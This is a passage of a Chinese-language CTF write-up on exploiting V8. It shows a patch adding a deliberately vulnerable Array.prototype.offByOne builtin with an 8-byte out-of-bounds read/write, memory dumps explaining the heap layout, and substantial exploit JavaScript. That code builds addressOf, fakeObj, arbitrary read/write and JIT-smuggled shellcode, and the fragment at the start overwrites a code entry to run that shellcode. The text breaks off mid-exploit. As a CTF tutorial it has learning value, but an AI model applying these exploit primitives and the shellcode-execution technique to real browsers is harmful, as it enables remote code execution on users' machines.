    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}
 
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}
 
// p(shellcode);
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
// stop();
shellcode();
 
 
 
 
// spin();

level-5

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  release cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release

编译

1
autoninja -C out/release d8

漏洞分析

添加了一个offByOne的方法

首先判断receiver是不是JSArray和是否存在hole,接着对于类型进行了限制,只能是PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTS和HOLEY_ELEMENTS

这里就需要上线经典老图,网址:6ffK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6W2L8r3g2E0k6h3&6@1M7#2)9J5k6r3E0A6L8X3c8K6

然后限制参数数量不超过两个,其实只能加1个,因为第一个参数是receiver,接着去获取array的length。

下面有两个分支,当类型为PACKED_DOUBLE_ELEMENTS和HOLEY_DOUBLE_ELEMENTS对应数组内都为浮点数的情况,此时v8就会使用更高效的FixedDoubleArray来存储元素;else分支对应的情况是数组内存在了一些其他类型(对象、字符串undfine、undifined、holes)的情况,采用FixedArray存储元素。

分支内的模式都是相同的,用户不传参数对应read mode,传一个参数对应write mode。read mode直接返回elements[len]的元素内容,很典型的一个越界,write mode会先判断用户穿入的参数类型是否为Number,接着转化为double类型,然后elements[len]=val,一个八字节的越界写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}

完整的patch内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..4ed66c8113f 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -407,6 +407,52 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..8a0bd959a29 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -394,6 +394,7 @@ namespace internal {
       ArraySingleArgumentConstructor)                                          \
   TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor)                  \
   CPP(ArrayConcat)                                                             \
+  CPP(ArrayOffByOne)                                                           \
   /* ES6 #sec-array.prototype.fill */                                          \
   CPP(ArrayPrototypeFill)                                                      \
   /* ES7 #sec-array.prototype.includes */                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..ce31f92b876 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayOffByOne:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..99dc014c13c 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "offByOne",
+                          Builtin::kArrayOffByOne, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",

漏洞利用

从上面不难看出这是一个八字节的越界读写漏洞,那么就要思考越界读写八字节的最大效果是什么。

看这一个demo

1
2
3
4
5
6
7
8
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var a2 = [2.2];
p(a1);
p(a2);

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
DebugPrint: 0x2b69000f4ac1: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x2b69000f4af9: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> {
           0: 2.2
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

对于两个相邻的JSArray类型的对象,map类型都为PACKED_DOUBLE_ELEMENTS,越界8字节之后的输出是下一个对象的map和properties,意味着我们可以读写这两个内容

1
2
3
4
5
6
7
8
9
10
11
pwndbg> job 0x2b69000f4ad9
0x2b69000f4ad9: [FixedDoubleArray]
 - map: 0x2b69000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/16wx 0x2b69000f4ad9-1
0x2b69000f4ad8:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x2b69000f4ae8:  0x000008a9  0x00000002  0x9999999a  0x40019999
0x2b69000f4af8:  0x001cb821  0x00000725  0x000f4b11  0x00000002
0x2b69000f4b08:  0x000010a5  0x001d4a2d  0x000008a9  0x00000002
pwndbg>

其实可以尝试一下相邻的对象类型是JS_OBJECT_TYPE,这样就可以存在一个类型混淆

对于这一段代码

1
2
3
4
5
6
7
8
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var obj1 = {};
p(a1);
p(obj1);

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
DebugPrint: 0x3027000f4ad9: [JSArray]
 - map: 0x3027001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001cb179 <JSArray[0]>
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x302700000d99: [String] in ReadOnlySpace: #length: 0x302700025fed <AccessorInfo name= 0x302700000d99 <String[6]: #length>, data= 0x302700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x3027001cb821: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x3027001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors #1: 0x3027001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x3027001cb849 <TransitionArray[4]>
   Transition array #1:
     0x302700000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3027001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x3027001cb179 <JSArray[0]>
 - constructor: 0x3027001cae65 <JSFunction Array (sfi = 0x30270002b3c5)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x3027000f4b01: [JS_OBJECT_TYPE]
 - map: 0x3027001c0f21 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - elements: 0x302700000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {}
0x3027001c0f21: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x302700000069 <undefined>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors (own) #0: 0x302700000759 <DescriptorArray[0]>
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - constructor: 0x3027001c0c15 <JSFunction Object (sfi = 0x30270002aa51)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

这里越界可以读到obj的map和properties,因此map已经是可控制的了,这里一开始我尝试混淆相邻对象的map,然后写addressOf,但是地址非常不稳定,因此尝试了另外一个思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> job 0x3027000f4af1
0x3027000f4af1: [FixedDoubleArray]
 - map: 0x3027000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/32wx 0x3027000f4af1-1
0x3027000f4af0:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x3027000f4b00:  0x001c0f21  0x00000725  0x00000725  0x00000069
0x3027000f4b10:  0x00000069  0x00000069  0x00000069  0x00000635
0x3027000f4b20:  0x00000008  0x00000004  0x00280023  0x00000100
0x3027000f4b30:  0x00000069  0x00000069  0x00000635  0x00000008
0x3027000f4b40:  0x00000004  0x001cb823  0x00000004  0x00000069
0x3027000f4b50:  0x00000069  0x00000000  0x00000000  0x00000000
0x3027000f4b60:  0x00000000  0x00000000  0x00000000  0x00000000
pwndbg>

但是一般来说我们需要控制的内容是elements,所以我们控制properties会有什么作用呢?这篇博客里介绍了65bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6X3j5i4y4@1i4K6u0V1M7s2u0G2M7r3g2J5N6r3W2W2M7H3`.`.,笔者这里简单介绍下,详细的需要自行看官方博客

下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过 elements来索引

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

对于这一段代码

1
2
3
4
5
6
7
let arr = [1.1];
let obj = {in_object1 : 1}; //in-object properties
obj.out_object1 = 2;    //normal properties
obj.out_object2 = 3;
 
p(arr);
p(obj);

这样的输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
DebugPrint: 0x1f99000f30e1: [JSArray]
 - map: 0x1f99001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x1f9900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1f9900000d99: [String] in ReadOnlySpace: #length: 0x1f9900025fed <AccessorInfo name= 0x1f9900000d99 <String[6]: #length>, data= 0x1f9900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x1f99001cb821: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x1f99001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1f9900000a89 <Cell value= 1>
 - instance descriptors #1: 0x1f99001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x1f99001cb849 <TransitionArray[4]>
   Transition array #1:
     0x1f9900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f99001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - constructor: 0x1f99001cae65 <JSFunction Array (sfi = 0x1f990002b3c5)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x1f99000f3109: [JS_OBJECT_TYPE]
 - map: 0x1f99001d417d <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - elements: 0x1f9900000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1f99000f315d <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x1f99001d351d: [String] in OldSpace: #in_object1: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object
    0x1f99001d3535: [String] in OldSpace: #out_object1: 2 (const data field 1, attrs: [WEC]) @ Any, location: properties[0]
    0x1f99001d354d: [String] in OldSpace: #out_object2: 3 (const data field 2, attrs: [WEC]) @ Any, location: properties[1]
 }
0x1f99001d417d: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x1f99001d414d <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x1f99001d4175 <Cell value= 0>
 - instance descriptors (own) #3: 0x1f99000f3171 <DescriptorArray[3]>
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - constructor: 0x1f99001c0c15 <JSFunction Object (sfi = 0x1f990002aa51)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

对于Indexed Properties,这里是elements索引

这里的in-object直接存储在elements后面,然后out-objs 也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个obj的elements,然后使用obj.out_object1 = xxxx;来索引,同时修改值,这样就可以修改elements的length,同时继续去修改obj的length,这样就可以有一个rw_array,有这个rw_array之后,写addressOf、fakeObject、AAR、AAW是很简单的了

构造如下结构,这样索引out-obj1的时候就可以修改length的值了,后面的步骤就是很熟悉的了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
function getOffByOne(target){
    return f64_to_u64(target.offByOne());
}
function setOffByOne(target, val){
    target.offByOne(Number((val)));
}
 
 
var oob_array = [1.1];
var obj = {in_obj:1};
obj.a = 2;
var b = [2.2];
 
// p(oob_array);
// p(obj);
// p(b);
 
obj_map_addr = u64_to_u32_lo(getOffByOne(oob_array)); //map, properties
obj_properties_addr = u64_to_u32_hi(getOffByOne(oob_array));
elements_addr_of_a = obj_properties_addr - 0x64;
logg("obj_map_addr", obj_map_addr);
logg("obj_properties_addr", obj_properties_addr);
logg("elements_addr_of_a", elements_addr_of_a);
 
setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4));
obj.a = 0x1000;
setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4-0x10));
obj.a = 0x1000;
// console.log(oob_array.length);
 
let temp = f64_to_u64(oob_array[0x10]);
logg("tmp",temp);
 
double_array_map = u64_to_u32_lo(temp); //map, properties
double_properties_addr = u64_to_u32_hi(temp);
logg("double_array_map", double_array_map);
logg("double_properties_addr", double_properties_addr);
 
 
 
// // 修改了oob_array的elements length
 
function addressOf(object){
    oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0);
    b[0] = object;
    oob_array[0x10] = lh_u32_to_f64(double_array_map,0);
    return f64_to_u64(b[0]);
}
 
 
 
function fakeObj(addr){
    oob_array[0x10] = lh_u32_to_f64(double_array_map,0);
    b[0] = lh_u32_to_f64(addr,0);
    oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0);
    return b[0];
}
 
var fake_array = [
    lh_u32_to_f64(double_array_map,0),
    lh_u32_to_f64(0,0x1000)
];
 
var fake_array_addr = u64_to_u32_lo(addressOf(fake_array));
var fake_obj = fakeObj(fake_array_addr+0x54);
 
// p(fake_array);
logg("fake_array_addr",fake_array_addr);
 
function AAR(addr){
